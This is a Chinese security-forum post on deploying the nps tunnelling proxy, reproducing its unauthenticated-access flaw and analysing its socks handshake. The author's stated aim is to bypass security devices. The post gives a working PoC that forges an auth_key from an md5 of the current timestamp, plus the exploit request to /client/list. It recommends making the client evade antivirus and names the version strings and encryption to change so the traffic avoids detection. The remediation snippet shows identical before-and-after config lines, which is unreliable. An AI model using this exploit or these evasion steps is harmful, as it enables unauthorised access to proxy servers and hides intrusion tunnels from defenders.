安全矩阵

 找回密码
 立即注册
搜索
查看: 1169|回复: 0

nps之Socks流量分析以及未授权复现

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-9-20 11:56:55 | 显示全部楼层 |阅读模式
前言

因为想要写一个socks的流量算法去绕过安全设备,所以这里对nps的流量特征总结一下,方便自己后期的魔改。
环境
  1.     ubuntu 16.04  vps  server

  2.     windows server 2012R2  clinet
复制代码
  1. mkdir nps
  2. cd nps
  3. wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz
  4. tar -zxvf linux_amd64_server.tar.gz
  5. ./nps install
复制代码



  1. cd /etc/nps/conf/
  2. vim nps.conf
复制代码
配置文件
  1. #web
  2. web_host=a.o.com
  3. web_username=xxxx    //管理端用户名
  4. web_password=xxxxxx  //管理端密码
  5. web_port = xxxxx     //管理端端口
  6. web_ip=0.0.0.0
  7. web_base_url=
  8. web_open_ssl=false
  9. web_cert_file=conf/server.pem
  10. web_key_file=conf/server.key
  11. #web_base_url=/nps
复制代码



  1. ##bridge
  2. bridge_type=tcp   //客户端连接协议tcp
  3. bridge_port=xxxx  //客户端连接端口
  4. bridge_ip=0.0.0.0
复制代码

​编辑
bridge_port的默认端口默认为8024,这里不建议改为默认的,连接客户端的时候可能会触发安全设备规则
NPS未授权复现

POC
  1. #encoding=utf-8
  2. import time
  3. import hashlib
  4. now = time.time()
  5. m = hashlib.md5()
  6. m.update(str(int(now)).encode("utf8"))
  7. auth_key = m.hexdigest()

  8. print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now))
复制代码
直接访问
  1.     http://vps:port?payload
复制代码


编辑
exp请求接口


  1. POST /client/list HTTP/1.1
  2. Host: vps:port
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
  4. Accept: application/json, text/javascript, */*; q=0.01
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: application/x-www-form-urlencoded
  8. X-Requested-With: XMLHttpRequest
  9. Content-Length: 98
  10. Origin: http://vps:port
  11. Connection: close
  12. Referer: http://vps:port/client/list

  13. search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4×tamp=1659948547
复制代码


编辑
参考链接:​

  1.     https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA
复制代码

修复措施

vim /etc/nps/conf/nps.conf取消注释auth_key,添加auth_crypt_key`注释
  1. auth_key=test #auth_crypt_key =!QAZ4rfv%TGB^YHN
复制代码



修改为
  1. auth_key=test #auth_crypt_key =!QAZ4rfv%TGB^YHN
复制代码


编辑

目前最新版本的也存在改配置不当问题,这里需要修改配置,修复之后是无法通过未授权读取内容信息的。

socks流量分析
  1. <p>nps start</p>
复制代码


访问http://vps:port/login
编辑
新增客户端
编辑

这里用户名和密码随意,这里是客户端登录的认证用户名,在客户端连接的时候是根据密钥来实现的。

编辑

客户端选择windwos server 2012R2

修改客户端配置文件
  1. [common]
  2. server_addr=vps:port
  3. conn_type=tcp
  4. vkey=xxxx
  5. auto_reconnection=true
  6. max_conn=1000
  7. flow_limit=1000
  8. rate_limit=1000
  9. basic_username=11
  10. basic_password=3
  11. web_username=xxxx   
  12. web_password=xxxxx
  13. crypt=true
  14. compress=true
  15. #pprof_addr=0.0.0.0:9999
  16. disconnect_timeout=60
复制代码


客户端启动
  1. npc.exe -server=vps:port -vkey=xxxxx -type=tcp
复制代码



正常情况下会报毒,所以这里针对杀软这一块儿,客户端需要做一下免杀处理。
编辑

查看连接状态

编辑
编辑

使用goby测试socks5

编辑

测试代理

编辑

已成功实现内网穿透。

这里使用wireshark抓取流量包,
初始流量服务器向客户端发送TST
编辑

同时客户端向服务端确认版本,同时返回客户端版本0.26.0

编辑
代码位置nps/lib/version/version.go
编辑

服务端接收到请求后,客户端请求的数据内容为nps的版本为0.26.10

编辑

服务端接收到请求后返回给客户端服务端版本的md5值,即

  1. md5(0.26.0)=89a4f3fc3c89257d6f712de6964bda8e
复制代码



可以发现在产生nps客户端连接的时候,会产生数据校验,这里数据校验就是有服务器到
编辑

这是客户端传输给服务端密钥连接

md5(vkey)
编辑

服务端在接收到客户端的请求后校验数据后返回success

编辑

这里客户端和服务端的连接流量就比较清晰了,那么想要bypass安全设备的告警,在修改加密方式和修改版本关键字即可,因为在做流量隐藏的时候跟bypassav不一样,不会考虑文件的哈希以及文件在沙箱中的落地状态。






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 13:44 , Processed in 0.018582 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表